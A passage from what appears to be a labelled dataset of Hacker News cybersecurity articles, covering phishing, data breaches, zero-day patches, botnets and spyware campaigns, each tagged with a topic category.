So, every time a user clicks on a link provided in an email, it first sends the user to a Microsoft owned domain, where the company immediately checks the original URL for anything suspicious. If Microsoft's scanners detect any malicious element, it then warns users about it, and if not, it redirects the user to the original link.

However, researchers at cloud security company Avanan have revealed how attackers have been bypassing the Safe Links feature by using a technique called, ""baseStriker attack.""

BaseStriker attack involves using the <base> tag in the header of an HTML email—which is used to defines a default base URI, or URL, for relative links in a document or web page.

In other words, if the <base> URL is defined, then all subsequent relative links will use that URL as a starting point.
As shown in the above screenshot, the researchers compared HTML code of a traditional phishing email with the one that uses a <base> tag to split up the malicious link in a way that Safe Links fails to identify and replace the partial hyperlink, eventually redirecting victims to the phishing site, when clicked.

Researchers have even provided a video demonstration, which shows the baseStriker attack in action.

The researchers tested the baseStriker attack against several configurations and found that ""anyone using Office 365 in any configuration is vulnerable,"" be it web-based client, mobile app or desktop application of OutLook.
Proofpoint is also found vulnerable to the baseStriker attack. However, Gmail users and those protecting their Office 365 with Mimecast are not impacted by this issue.

So far, researchers have only seen hackers using the baseStriker attack to send phishing emails, but they believe the attack can be leveraged to distribute ransomware, malware and other malicious software.
Avanan reported the issue to both Microsoft and Proofpoint earlier last weekend, but there is no patch available to fix the problem at the time of writing.

",Cyber_Attack
Joomla Resources Directory (JRD) Portal Suffers Data Breach,https://thehackernews.com/2020/06/joomla-data-breach.html,"Joomla, one of the most popular Open-source content management systems (CMS), last week announced a new data breach impacting 2,700 users who have an account with its resources directory (JRD) website, i.e., resources.joomla.org.

The breach exposed affected users' personal information, such as full names, business addresses, email addresses, phone numbers, and encrypted passwords.

The company said the incident came to light during an internal website audit that revealed that a member of the Joomla Resources Directory (JRD) team stored a full unencrypted backup of the JRD website on an Amazon Web Services S3 bucket owned by the third-party company.

The affected JRD portal lists developers and service providers specialized in Joomla, allowing registered users to extend their CMS with additional functionalities.

Joomla said the investigation is still ongoing and that accesses to the website have been temporarily suspended. It has also reached out to the concerned third-party to get the data deleted. It's not clear if any party found the unencrypted backup and accessed the information.

The details that could have been potentially accessed by an unauthorized third-party are as follows:

Full names
Business addresses
Business email addresses
Business phone numbers
Company URLs
Nature of business
Encrypted passwords (hashed)
IP addresses
Newsletter subscription preferences

The impact of the breach is said to be low, given that most of the information is already in the public domain.

In addition to mandating a password reset for all impacted accounts, it's recommended to change them on other sites that reuse the same password to prevent credential stuffing attacks.

As a consequence of the audit, Joomla has removed all users who've not logged in before January 1st, 2019, as well as several unused groups. Furthermore, it has enabled two-factor authentication and rolled out security fixes on its platform.

""Even if we don't have any evidence about data access, we highly recommend people who have an account on the Joomla Resources Directory and use the same password (or combination of an email address and password) on other services to immediately change their password for security reasons,"" Joomla said in the advisory.

",Data_Breaches
Researchers to Share Details of Cyber-Terrorists Targeting Indian Government Officials,https://thehackernews.com/2015/08/hacker-cyber-terrorism.html,"The Potential threat, range from very narrow to very broad, posed by Cyber-Terrorism has provoked considerable alarm.

Terrorists involved in Cyber Espionage and Operations aim at gaining access to Nation's critical infrastructure involving both Government as well as Private sectors.

The Frequency and Intensity of such Cyber-attacks are increasing rapidly and extending into absolute cyber-war between states, allowing terrorist organizations to pilfer data from financial and military organizations.

Similar Incident happened, few months back, when a group of Middle-east terrorists tried to infiltrate Indian Government officials operational in Cyber related divisions.

In response, a team of Independent Indian security researchers planned a counter operation to track down the terrorist organization behind the cyber attack.

Shesh Sarangdhar, a security researcher at Seclabs & Systems Pvt. told The Hacker News that his team successfully penetrated the source computer (using zero-day exploits) used for spreading malware to Government officials and found that the attacker's IP address belongs to Pakistan Telecommunication company limited.
""Upon Analysis, the infected system appeared be a part of an elaborately designed cyber operation center,"" Mr. Sarangdhar explained.
Researchers found a directory called ""Umer Media"" on that compromised system, which contained Excel files maintaining a list of ""multiple social media profiles of terrorism bent.""
""Excel file elaborately maintained the details of individuals who comment and like on these pages. Many of these social media profiles were later analyzed and revealed some key players behind the cyber-terror organization,"" he told The Hacker News team.
The goal of cyber counter operation conducted by the Indian researchers was to prevent cyber attacks against any and all critical infrastructures.

Moreover, the researchers obtained mobile numbers of those key players and compromised their devices using a zero-day vulnerability in Maxthon browser.
""The mobile communication revealed that around 1000 mujahids were being trained to infiltrate Indian borders,"" Mr. Sarangdhar told us.
Shesh Sarangdhar and his team will present the complete technical details of their operation, zero-day vulnerabilities used and the malware analysis at upcoming ""1337Con"" CyberSecurity Conference.

",Cyber_Attack
Microsoft Kept Secret That Its Bug-Tracking Database Was Hacked In 2013,https://thehackernews.com/2017/10/microsoft-bug-tracking-breach.html,"It was not just Yahoo among ""Fortune 500"" companies who tried to keep a major data breach incident secret.

Reportedly, Microsoft had also suffered a data breach four and a half years ago (in 2013), when a ""highly sophisticated hacking group"" breached its bug-reporting and patch-tracking database, but the hack was never made public until today.

According to five former employees of the company, interviewed separately by Reuters, revealed that the breached database had been ""poorly protected with access possible via little more than a password.""

This incident is believed to be the second known breach of such a corporate database after a critical zero-day vulnerability was discovered in Mozilla's Bugzilla bug-tracking software in 2014.

As its name suggests, the bug-reporting and patch-tracking database for Windows contained information on critical and unpatched vulnerabilities in some of the most widely used software in the world, including Microsoft's own Windows operating system.

The hack was believed to be carried out by a highly-skilled corporate espionage hacking group known by various names, including Morpho, Butterfly and Wild Neutron, who exploited a JAVA zero-day vulnerability to hack into Apple Mac computers of the Microsoft employees, ""and then move to company networks.""

With such a database in hands, the so-called highly sophisticated hacking group could have developed zero-day exploits and other hacking tools to target systems worldwide.

There's no better example than WannaCry ransomware attack to explain what a single zero-day vulnerability can do.

""Bad guys with inside access to that information would literally have a 'skeleton key' for hundreds of millions of computers around the world,"" said Eric Rosenbach, who was American deputy assistant secretary of defence for cyber at the time of the breach.

When Microsoft discovered the compromised database in earlier 2013, an alarm spread inside the company.

Following the concerns that hackers were using stolen vulnerabilities to conduct new attacks, the tech giant conducted a study to compare the timing of breaches with when the bugs had entered the database and when they were patched.

Although the study found that the flaws in the stolen database were used in cyber attacks, Microsoft argued the hackers could have obtained the information elsewhere, and that there's ""no evidence that the stolen information had been used in those breaches.""

Former employees also confirmed that the tech giant tightened up its security after the 2013 hacking incident and added multiple authentication layers to protect its bug-reporting system.

However, three of the employees believes the study conducted by Microsoft did not rule out stolen vulnerabilities being used in future cyber attacks, and neither the tech giant conducted a thorough investigation into the incident.

On being contacted, Microsoft declined to speak about the incident, beyond saying: ""Our security teams actively monitor cyber threats to help us prioritise and take appropriate action to keep customers protected.""

",Data_Breaches
New Chrome 0-day Bug Under Active Attacks – Update Your Browser ASAP!,https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html,"Exactly a month after patching an actively exploited zero-day flaw in Chrome, Google today rolled out fixes for yet another zero-day vulnerability in the world's most popular web browser that it says is being abused in the wild.
Chrome 89.0.4389.72, released by the search giant for Windows, Mac, and Linux on Tuesday, comes with a total of 47 security fixes, the most severe of which concerns an ""object lifecycle issue in audio.""
Tracked as CVE-2021-21166, the security flaw is one of the two bugs reported last month by Alison Huffman of Microsoft Browser Vulnerability Research on February 11. A separate object lifecycle flaw, also identified in the audio component, was reported to Google on February 4, the same day the stable version of Chrome 88 became available.
With no additional details, it's not immediately clear if the two security shortcomings are related.
Google acknowledged that an exploit for the vulnerability exists in the wild but stopped short of sharing more specifics to allow a majority of users to install the fixes and prevent other threat actors from creating exploits targeting this zero-day.
""Google is aware of reports that an exploit for CVE-2021-21166 exists in the wild,"" Chrome Technical Program Manager Prudhvikumar Bommana said.
This is the second zero-day flaw in Chrome that Google has addressed since the start of the year.
On February 4, the company issued a fix for an actively-exploited heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine. Additionally, Google last year resolved five Chrome zero-days that were actively exploited in the wild in a span of one month between October 20 and November 12.
Chrome users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.

",Vulnerability
Source Code for IoT botnet responsible for World's largest DDoS Attack released Online,https://thehackernews.com/2016/10/mirai-source-code-iot-botnet.html,"With rapidly growing Internet of Thing (IoT) devices, they have become a much more attractive target for cybercriminals.

Just recently we saw a record-breaking Distributed Denial of Service (DDoS) attacks against the France-based hosting provider OVH that reached over one Terabit per second (1 Tbps), which was carried out via a botnet of infected IoT devices.

Now, such attacks are expected to grow more rapidly as someone has just released the source code for IoT botnet, which was 'apparently' used to carry out world's largest DDoS attacks.

Internet of Things-Botnet 'Mirai' Released Online

Dubbed Mirai, the malware is a DDoS Trojan that targets BusyBox systems, a collection of Unix utilities specifically designed for embedded devices like routers.

The malware is programmed to hijack connected IoT devices that are using the default usernames and passwords set by the factory before devices are first shipped to customers.

Spotted by Brian Krebs, the ""Mirai"" source code was released on Hackforums, a widely used hacker chat forum, on Friday.

However, there is no concrete evidence that this is the same botnet malware that was used to conduct record-breaking DDoS attacks on Krebs' or OVH hosting website.

Reportedly, the attack code has built-in scanners that look for vulnerable smart devices in homes and enroll them into a network of Botnet, that hackers and cyber criminals can then use in a DDoS attack to temporarily shut down any website.

The hacker, nicknamed ""Anna-senpai,"" who released the Mirai source code said they have ""made their money...so it's time to GTFO.""
""So today, I have an amazing release for you,"" Anna-senpai wrote. ""With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb [sic] DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.""
Even after the above explanation, I am still wondering why the malware's author chose to dump the code online over making big money.

Beware: Don't Download It Or Use at your own risk!
I apologize, if you are looking for the download link. We came across hundreds of such malware and their source codes, but ethically we don't prefer to promote them through our articles because that could indirectly advantage more blackhat hackers to cause further damages.

What if the source code contains any backdoor?

It is not at all surprising to believe so, as we have seen several cases in past years, when hackers have taken advantage of trending or hot events (or incidents), in this case record-breaking DDoS attack, to post and distribute their backdoored malware strategically.

Now that the malware is publicly released, anyone can download and use it to infect a large number of devices worldwide to create their own IoT botnet.

And if the code contains any backdoor, it would not only compromise the user who downloads it from the hacking forum but also hijacks those who are part of that user's botnet network.

So, we advise beginner and our enthusiast readers not to rush to download Mirai IoT Botnet files.

Since manufacturers of IoT devices majorly focus on performance and usability and ignore security measures and encryption mechanisms, they are routinely being hacked and used as weapons in cyber attacks.

Just recently we reported about vulnerable D-Link routers that are programmed in such a way that they contain several backdoors, which allow attackers to remotely hijack and control them, as well as network, leaving all connected devices vulnerable to cyber attacks.

So, if you own one or more IoT devices, the first thing you need to do in order to protect yourself against cyber attacks is change those default credentials.

",Malware
125 New Flaws Found in Routers and NAS Devices from Popular Brands,https://thehackernews.com/2019/09/hacking-soho-routers.html,"The world of connected consumer electronics, IoT, and smart devices is growing faster than ever with tens of billions of connected devices streaming and sharing data wirelessly over the Internet, but how secure is it?

As we connect everything from coffee maker to front-door locks and cars to the Internet, we're creating more potential—and possibly more dangerous—ways for hackers to wreak havoc.

Believe me, there are over 100 ways a hacker can ruin your life just by compromising your wireless router—a device that controls the traffic between your local network and the Internet, threatening the security and privacy of a wide range of wireless devices, from computers and phones to IP Cameras, smart TVs and connected appliances.

In its latest study titled ""SOHOpelessly Broken 2.0,"" Independent Security Evaluators (ISE) discovered a total of 125 different security vulnerabilities across 13 small office/home office (SOHO) routers and Network Attached Storage (NAS) devices, likely affecting millions.

""Today, we show that security controls put in place by device manufacturers are insufficient against attacks carried out by remote adversaries. This research project aimed to uncover and leverage new techniques to circumvent these new security controls in embedded devices,"" the researchers said.

List of Affected Router Vendors

SOHO routers and NAS devices tested by the researchers are from the following manufacturers:

Buffalo
Synology
TerraMaster
Zyxel
Drobo
ASUS and its subsidiary Asustor
Seagate
QNAP
Lenovo
Netgear
Xiaomi
Zioncom (TOTOLINK)

According to the security researchers, all of these 13 widely-used devices they tested had at least one web application vulnerability that could allow a remote attacker to gain remote shell access or access to the administrative panel of the affected device.


These vulnerabilities range from cross-site scripting (XSS), cross-site request forgery (CSRF), buffer overflow, operating system command injection (OS CMDi), authentication bypass, SQL injection (SQLi), and file upload path traversal vulnerabilities.

Full Control Over Devices Without Authentication

Researchers said they successfully obtained root shells on 12 of the devices, allowing them to have complete control over the affected devices, 6 of which contained flaws that would enable attackers to gain full control over a device remotely and without authentication.

These affected business and home routers are Asustor AS-602T, Buffalo TeraStation TS5600D1206, TerraMaster F2-420, Drobo 5N2, Netgear Nighthawk R9000, and TOTOLINK A3002RU.

This new report, SOHOpelessly Broken 2.0, is a follow-up study, SOHOpelessly Broken 1.0, published by the ISE security firm in 2013, when they disclosed a total of 52 vulnerabilities in 13 SOHO routers and NAS devices from vendors including TP-Link, ASUS, and Linksys.

Since SOHOpelessly Broken 1.0, researchers said they found a few newer IoT devices implementing some useful security mechanisms in place, like address-space layout randomization (ASLR), functionalities that hinder reverse engineering, and integrity verification mechanisms for HTTP requests.

However, some things have not changed since SOHOpelessly Broken 1.0, like many IoT devices still lack basic web application protection features, like anti-CSRF tokens and browser security headers, which can greatly enhance the security posture of web applications and the underlying systems they interact with.

ISE researchers responsibly reported all of the vulnerabilities they discovered to affected device manufacturers, most of which promptly responded and already took security measures to mitigate these vulnerabilities, which have already received CVE Ids.

However, some device manufacturers, including Drobo, Buffalo Americas, and Zioncom Holdings, did not respond to the researchers' findings.

",Vulnerability
3 Popular Drupal Modules Found Vulnerable — Patch Released,https://thehackernews.com/2016/07/drupal-security-update_14.html,"Just yesterday, I wrote a warning article announcing that Drupal – the popular open source content management system – will release patches for several highly critical Remote Code Execution (RCE) bugs that could allow attackers to fully take over any affected site.

Below are the three separate Drupal modules that affect up to 10,000 websites:

1. RESTful Web Services – a popular module used for creating REST APIs, which is currently installed on at least 5,804 websites.

The vulnerability in RESTWS alters the default page callbacks for entities to provide additional functionality, allowing attackers to ""send specially crafted requests resulting in arbitrary PHP execution.""

Since anonymous users can exploit this vulnerability and there isn't any mitigating factor, users are advised to patch their websites as soon as possible.

Admins using RESTful Web Services versions 7.x-2.x prior to 7.x-2.6 and versions 7.x-1.x prior to 7.x-1.7 for their Drupal websites are affected and are advised to upgrade to the latest RESTful Web Services releases.

2. Coder – a module used for code analysis, which is currently installed on at least 4,951 sites.

The vulnerability exists in the Coder module that does not properly validate user inputs in a script file that has the PHP extension, allowing a malicious unauthorized user to make requests directly to this file to execute arbitrary code.

To exploit the vulnerability, the Coder module does not even need to be enabled. The presence of the module on the file system and being reachable from the Web are enough for an attacker to exploit this flaw.

Coder module versions 7.x-1.x prior to 7.x-1.3 and versions 7.x-2.x prior to 7.x-2.6 are affected. Admins using the Coder module for Drupal 7.x should upgrade to the latest releases.

3. Webform Multiple File Upload – a module used for collecting files from site visitors, which is currently installed on at least 3,076 sites.

The Webform Multiple File Upload module contains a Remote Code Execution flaw that could allow an attacker to take over any affected site entirely using some specially crafted requests.

Any site visitor could potentially exploit this vulnerability to take several malicious actions on the website, including completely taking over the website and server.

This vulnerability exists in the Webform Multiple File Upload (webform_multifile) module versions 7.x-1.x and is fixed in the latest Webform Multiple File Upload version 7.x-1.4.

",Vulnerability
Enable this New Setting to Secure your Computer from Macro-based Malware,https://thehackernews.com/2016/03/macro-malware-protection.html,"Do you deal with MS Word files on the daily basis?

If yes, then are you aware that even opening a simple doc file could compromise your system?

It is a matter to think that the virus does not directly affect you, but it is you who let the virus carry out the attack by enabling deadly ""Macros"" to view the doc contents that are generally on eye-catching subjects like bank invoice.

How Macros are Crippling your System?

The concept of Macros dates back to 1990s. You must be familiar with this message: ""Warning: This document contains macros.""

A Macro is a series of commands and actions that help to automate some tasks. Microsoft Office programs support Macros written in Visual Basic for Applications (VBA), but they can also be used for malicious activities like installing malware.

Hackers are cleverly using this technique on the shade of social engineering by sending the malicious Macros through doc file or spreadsheet with an eye-catching subject in the mail to the corporate networks.

Once a user opens the malicious Word document, the doc file gets downloaded to its system. However, danger comes in when the user opens the file, and a popup window appears that states ""Enable Editing"" to view the content.
Once the users click Enable Editing, the malicious file then begins to perform the notorious activities in the system such as to get embedded into other doc files to proliferate the attacking rate that results in crippling your system network.

All those actions would depend upon payload program defines inside the Macro.

Dridex and Locky are Warning Bells!!!

No other incidents could get you the clear picture on the potential threat of Macro viruses apart from Dridex Malware and Locky Ransomware. Both malware had made use of the malicious Macros to hijack systems.

Over 20 Million Euro had been stolen from the UK banks with the Dridex Malware, which got triggered via a nasty macro virus. The infectious bar of Locky ransomware had also seen an exponential growth in a couple of hours.

How to Protect Yourself from Macro-based Malware?

Step 1: Configure Trusted Location
Since disabling Macros is not a feasible option, especially in an office environment where Macros are designed to simplify the complex task with automation.

So, if your organization relies on Macros, you can move files that use Macros into the company's DMZ (Demilitarized Zone), also called Trusted Location.

To configure the trusted location, you can navigate via:
User Configuration/Administrative Templates/Microsoft Office XXX 20XX/Application Settings/Security/Trust Center/Trusted Locations
Once configured, the Macros that does not belong to the trusted location would not run in any way, beefing up your system's security.

Step 2: Block Macros in Office Files that came from the Internet
Microsoft had recently unveiled a novel method by implementing a new tactical security feature to limit the Macro execution attack in MS Office 2016, ultimately preventing your system from hijacking.

The new feature is a group policy setting that lets enterprise administrators to disable macros from running in Office files that come from the Internet.

The new setting is called, ""Block macros from running in Office files from the Internet"" and can be navigated through the group policy management editor under:
User configuration > Administrative templates > Microsoft Word 2016 > Word Options > Security > Trust Center
It can be configured for each Office application.

By enabling this option, macros that come from the Internet are blocked from running even if you have 'enable all macros' in the Macros Settings.
Moreover, instead of having the option to 'Enable Editing,' you'll receive a notification that macros are blocked from running, as the document comes from an Untrusted Source.

The only way to run that particular Office file is to save it to a trusted location, allowing macros to run.

",Malware
Exclusive - openSUSE Forum Hacked; 79500 Users Data Compromised,https://thehackernews.com/2014/01/openSUSE-Forum-Hacked-by-Pakistani-hacker.html,"After Snapchat hack, this can be another worst data breach of the new year. A Pakistani hacker 'H4x0r HuSsY' has successfully compromised the official Forum of 'openSUSE', a Linux distro developed, sponsored & supported by SUSE.
The hacker managed to deface the Forum and uploaded its custom message page as shown and account information of 79,500 registered users' may have been compromised. (The forum was defaced at the time of writing - Check Here)

The popular website MacRumors's Forum was compromised in last November using an alleged zero day exploit, which is based on vBulletin, a famous forum software. The openSUSE Forum is also based upon vBulletin.

Another interesting fact is that openSUSE is still using vBulletin 4.2.1, which is vulnerable to inject rogue administrator accounts flaw. Whereas, the latest patched vBulletin 5.0.5 is available. Possibly, Hacker exploits same or another known vBulletin version 4.2.1 vulnerability to access the website's administrative panel.
Zone-H Mirror of the defaced page: https://zone-h.org/mirror/id/21473823

It seems that openSUSE team is even not aware about the data breach, but we have informed them and also trying to contact the hacker for further information on this.

Update (7:00 PM Tuesday, January 7, 2014 GMT): The Pakistani Hacker confirmed is that has uploaded a PHP shell on the forum server using his own Private vBulletin's zero-day exploit, that allows him to browse, read or write/overwrite any file on the Forum server without root privileges.

There are a few screenshots shared by hacker with us:

He also claimed to have the full access to the user's database, however he has promised not to disclose the database dump because the purpose of the hack is only to highlight the security weakness.

Another important claim by the hacker that vBulletin 5.0.5 latest version is also vulnerable to his zero-day exploit and there is no patch yet available to fix it. He noticed that after our news report, the Server administrator has removed the defaced page, but to proof his exploit he has uploaded another file on the server again:
There are thousands of Forums using vBulletin software and many of them are huge huge.. Well hacker has not shared any information about the vulnerability, but we are sure that official vBulletin team will consider this critical threat to fix with high priority.

Update (7:24 PM Tuesday, January 7, 2014 GMT): openSUSE team has informed the users' via tweets about the breach,""Warning: Our forums are down because they were defaced. We're currently investigating what exactly has happened.""
But they have mentioned that, ""Rest assured, no user credentials have been leaked as we use a single sign on system for our services. Note that we use SSO so we don't think we lost any account data.""
After openSUSE's tweet, the hacker has shared some sample database screenshots on his Facebook account to prove the database hack. We have partially blur the screenshot before sharing, to keep sensitive data secure, as shown above.

Update (4:00 AM Wednesday, January 8, 2014 GMT): In a blog post, openSUSE team confirmed that their website and database have been hacked, but users' passwords are not compromised.
A cracker managed to exploit a vulnerability in the forum software which made it possible to upload files and gave access to the forum database.
The team explained, they are using single-sign-on system (Access Manager from NetIQ) that manage the real passwords.
Credentials for your openSUSE login are not saved in our application databases as we use a single-sign-on system (Access Manager from NetIQ) for all our services. This is a completely separate system and it has not been compromised by this crack. What the cracker reported as compromised passwords where indeed random, automatically set strings that are in no way connected to your real password.

",Data_Breaches
Java based Cross platform malware targeting Apache Tomcat servers in the wild,https://thehackernews.com/2013/11/java-based-cross-platform-malware.html,"Takashi Katsuki, a researcher at Antivirus firm Symantec has discovered a new cyber attack ongoing in the wild, targeting an open-source Web server application server Apache Tomcat with a cross platform Java based backdoor that can be used to attack other machines.

The malware, dubbed as ""Java.Tomdep"" differs from other server malware and is not written in the PHP scripting language. It is basically a Java based backdoor act as Java Servlet that gives Apache Tomcat platforms malicious capabilities.
Because Java is a cross platform language, the affected platforms include Linux, Mac OS X, Solaris, and most supported versions of Windows. The malware was detected less than a month ago and so far the number of infected machines appears to be low.
You may think that this type of attack only targets personal computers, such as desktops and laptops, but unfortunately that isn't true. Servers can also be attacked. They are quite valuable targets, since they are usually high-performance computers and run 24x7.
Java worm seeks out for the system having Apache Tomcat installed-running and then attempts to log-in using the password brute-force attack using combinations of user names and passwords.

After installation, the malware servlet behaves like an IRC Bot and able to receive commands from an attacker. Malware is capable of sending-downloading files from the system, create new processes, update itself, can setup SOCKS proxy, UDP flooding i.e. Can perform massive DDoS Attack.

They have mentioned that the command-and-control servers have been traced to Taiwan and Luxembourg. In order to avoid this threat, ensure that your server and AV products are fully patched and updated.

",Malware
Firefox 67.0.4 Released — Mozilla Patches Second 0-Day Flaw This Week,https://thehackernews.com/2019/06/firefox-0day-vulnerability.html,"Okay, folks, it's time to update your Firefox web browser once again—yes, for the second time this week.

After patching a critical actively-exploited vulnerability in Firefox 67.0.3 earlier this week, Mozilla is now warning millions of its users about a second zero-day vulnerability that attackers have been found exploiting in the wild.

The newly patched issue (CVE-2019-11708) is a ""sandbox escape"" vulnerability, which if chained together with the previously patched ""type confusion"" bug (CVE-2019-11707), allows a remote attacker to execute arbitrary code on victims' computers just by convincing them into visiting a malicious website.

Browser sandboxing is a security mechanism that keeps third-party processes isolated and confined to the browser, preventing them from damaging other sensitive parts of a computer's operating system.

""Insufficient vetting of parameters passed with the Prompt:Open IPC message between child and parent processes can result in the non-sandboxed parent process opening web content chosen by a compromised child process,"" the advisory explains.

Firefox 0-Days Found Exploited in the Wild

Mozilla has already been aware of the first issue since April when a Google Project Zero researcher reported it to the company, but it learned about the second issue and attacks in the wild just last week when attackers started exploiting both the flaws together to target employees from Coinbase platform and users of other cryptocurrency firms.

Just yesterday, macOS security expert Patrick Wardle also published a report revealing that a separate campaign against cryptocurrency users is also using same Firefox 0-days to install a macOS malware on targeted computers.

At this moment it's not clear if attackers independently discovered the first vulnerability just in time when it was already reported to Mozilla or gained classified bug-report information through another way.

Install Firefox Patches to Prevent Cyber Attacks

Anyway, the company has now released Firefox version 67.0.4 and Firefox ESR 60.7.2 that address both the issues, preventing attackers from remotely taking control over your systems.

Though Firefox installs latest available updates automatically, users are still advised to ensure they are running Firefox 67.0.4 or later.

Besides this, just like the patch for the previous issue, it is also expected that the Tor Project will once again release a new version of its privacy browser very soon to patch the second bug as well.

Important Update (21/06/2019) ➤ The Tor Project on Friday also released second update (Tor Browser 8.5.3) for its privacy web-browser this week that patches the second vulnerability Firefox patched yesterday.
",Cyber_Attack
Experts Uncover Yet Another Chinese Spying Campaign Aimed at Southeast Asia,https://thehackernews.com/2021/06/experts-uncover-yet-another-chinese.html,"An ongoing cyber-espionage operation with suspected ties to China has been found targeting a Southeast Asian government to deploy spyware on Windows systems while staying under the radar for more than three years.
""In this campaign, the attackers utilized the set of Microsoft Office exploits and loaders with anti-analysis and anti-debugging techniques to install a previously unknown backdoor on victim's machines,"" researchers from Check Point Research said in a report published today.
The infection chain works by sending decoy documents, impersonating other entities within the government, to multiple members of the Ministry of Foreign Affairs, which, when opened, retrieves a next-stage payload from the attacker's server that contains an encrypted downloader. The downloader, in turn, gathers and exfiltrates system information to a remote server that subsequently responds back with a shellcode loader.
The use of weaponized copies of legitimate-looking official documents also suggests that ""the attackers first had to attack another department within the targeted state, stealing and weaponizing documents for use against the Ministry of Foreign Affairs,"" said Lotem Finkelstein, head of threat intelligence at Check Point.
The last link in the attack involves the loader establishing a connection with the remote server to download, decrypt, and execute an implant dubbed ""VictoryDll_x86.dll"" that's capable of performing file operations, capturing screenshots, creating and terminating processes, and even shutting down the infected machine.
Check Point said the adversary placed significant effort into concealing its activity by changing the infrastructure multiple times since its development in 2017, with the backdoor receiving its own fair share of revisions to make it more resilient to analysis and decrease the detection rates at each stage.
The long-running campaign has been linked with ""medium to high confidence"" to a Chinese advanced persistent threat (APT) group it calls ""SharpPanda"" based on test versions of the backdoor dating back to 2018 that were uploaded to VirusTotal from China and the actor's use of Royal Road RTF weaponizer, a tool that been used in campaigns attributed to well-known Chinese threat groups since late 2018.
Several other clues point to this conclusion, including the fact that the command-and-control (C2) servers returned payloads only between 01:00 and 08:00 UTC, which the researchers suspect are the working hours in the attackers' country, and that no payloads were returned by the C2 servers between May 1 and 5 — even during working hours — which coincides with the Labor Day holidays in China.
The development is yet another indication that multiple cyberthreat groups believed to be working in support of China's long-term economic interests are continuing to hammer away at networks belonging to governments and organizations, while simultaneously spending a great deal of time refining the tools in their arsenal in order to hide their intrusions.
""All the evidence points to the fact that we are dealing with a highly-organized operation that placed significant effort into remaining under the radar,"" Finkelstein said. ""All in all, the attackers, who we believe to be a Chinese threat group, were very systematic in their approach.""
""The attackers are not only interested in cold data, but also what is happening on a target's personal computer at any moment, resulting in live espionage. Although we were able to block the surveillance operation for the Southeast Asian government described, it's possible that the threat group is using its new cyber espionage weapon on other targets around the world,"" he added.

",Malware
ZeuS Trojan variant Targets Salesforce accounts and SaaS Applications,https://thehackernews.com/2014/02/Salesforce-malware-attack-zeus-trojan.html,"Zeus, a financially aimed Banking Trojan that comes in many different forms and flavors, is capable to steal users' online-banking credentials once installed. This time, an infamous Zeus Trojan has turned out to be a more sophisticated piece of malware that uses web-crawling action.

Instead of going after Banking credentials and performing malicious keystroke logging, a new variant of Zeus Trojan focuses on Software-as-a-service (SaaS) applications for the purpose of obtaining access to proprietary data or code.

The SaaS Security firm vendor Adallom, detected a targeted malware attack campaign against a Salesforce.com customer, which began as an attack on an employee's home computer. Adallom found that the new variant had web crawling capabilities that were used to grab sensitive business data from that customer's CRM instance.

The Security firm noticed the attack when they saw about 2GB of data been downloaded to the victim's computer in less than 10 minutes. Furthermore, while Zeus usually hijacks the user session and performs wire transactions, this variant crawled the site and created a real time copy of the user's Salesforce.com instance that contained all the information from the company account.
""This looks like a targeted attack against the company, cleverly targeting the employee home instead of the enterprise – thus bypassing the company controls. This was probably just the first step, using the Zeus Web inject capabilities they could have used the same tactics as in the banking sites attacks and ask the user to enter more information regarding his company credentials or send out messages in his name,"" says Ami Luttwak, co-founder and CTO of Adallom.
Zeus Trojan is one of the most popular family of banking Trojan. Also in 2012, the FBI warned us about the 'GameOver' banking Trojan, a variant of Zeus financial malware that spreads via phishing emails.

GameOver makes fraudulent transactions from your bank once installed in your system with the capability to conduct Distributed Denial of Service, or DDoS, attack using a botnet, which involves multiple computers flooding the financial institution's server with traffic in an effort to deny legitimate users access to the site.

At the beginning of this year, Security researcher Gary Warner explains the behavior of the new variant of GameOver Zeus malware that uses Encryption to bypass perimeter security, in a blog post.

The attackers now bypassing traditional security measures and putting Zeus to use it against Salesforce.com and possibly other SaaS applications in a type of attack that Adallom refers to as ""land-mining"" and ""rolladexing"" to grab loads of business data and customer information.

The Adallom Labs team has yet to figure out exactly how these machines were infected and who are behind the cyber attack, so the matter is still being investigated by them.

",Cyber_Attack
ISPs May Be Helping Hackers to Infect you with FinFisher Spyware,https://thehackernews.com/2017/09/gamma-finfisher-hacking-tool.html,"Are you sure the version of WhatsApp, or Skype, or VLC Player installed on your device is legitimate?

Security researchers have discovered that legitimate downloads of several popular applications including WhatsApp, Skype, VLC Player and WinRAR have reportedly been compromised at the ISP level to distribute the infamous FinFisher spyware also known as FinSpy.

FinSpy is a highly secret surveillance tool that has previously been associated with British company Gamma Group, a company that legally sells surveillance and espionage software to government agencies across the world.

The spyware has extensive spying capabilities on an infected computer, including secretly conducting live surveillance by turning ON its webcams and microphones, recording everything the victim types with a keylogger, intercepting Skype calls, and exfiltration of files.

In order to get into a target's machine, FinFisher usually uses various attack vectors, including spear phishing, manual installation with physical access to the device, zero-day exploits, and watering hole attacks.

Your ISP May Be Helping Hackers To Spy On You

However, a new report published today by ESET claimed that its researchers had discovered new surveillance campaigns utilizing new variants of FinFisher in seven countries, which comes bundled with a legitimate application.
But how is this happening? Attackers are targeting victims using a man-in-the-middle (MitM) attack, where the internet service providers (ISP) are most likely operating as the ""middle man""—bundling legitimate software downloads with FinFisher.
""We have seen this vector being used in two of the countries in which ESET systems detected the latest FinFisher spyware (in the five remaining countries, the campaigns have relied on traditional infection vectors),"" the researchers say.
Previously published documents by WikiLeaks also indicated that the FinFisher maker also offered a tool called ""FinFly ISP,"" which is supposed to be deployed on ISP level with capabilities necessary for performing such a MitM attack.

Also, the infection technique (using the HTTP 307 redirect) was implemented in the same way in the two affected countries ESET discovered being targeted by the new variants of FinFisher. However, the firm did not name the affected countries ""as not to put anyone in danger.""

Another fact which supports the ISP-level MitM attack is that all affected targets identified by the researchers within a country were using the same ISP.
""Finally, the very same redirection method and format have been used for internet content filtering by internet service providers in at least one of the affected countries,"" the ESET report reads.
The popular applications targeted by the new variants of FinFisher include WhatsApp, Skype, VLC Player, Avast and WinRAR, and the ESET researchers said, ""virtually any application could be misused in this way.""

Here's How The Attack Works:

When the target users search for one of the affected applications on legitimate websites and click on its download link, their browser is served a modified URL, which redirects victims to a trojanized installation package hosted on the attacker's server.

This results in the installation of a version of the intended legitimate application bundled with the surveillance tool.
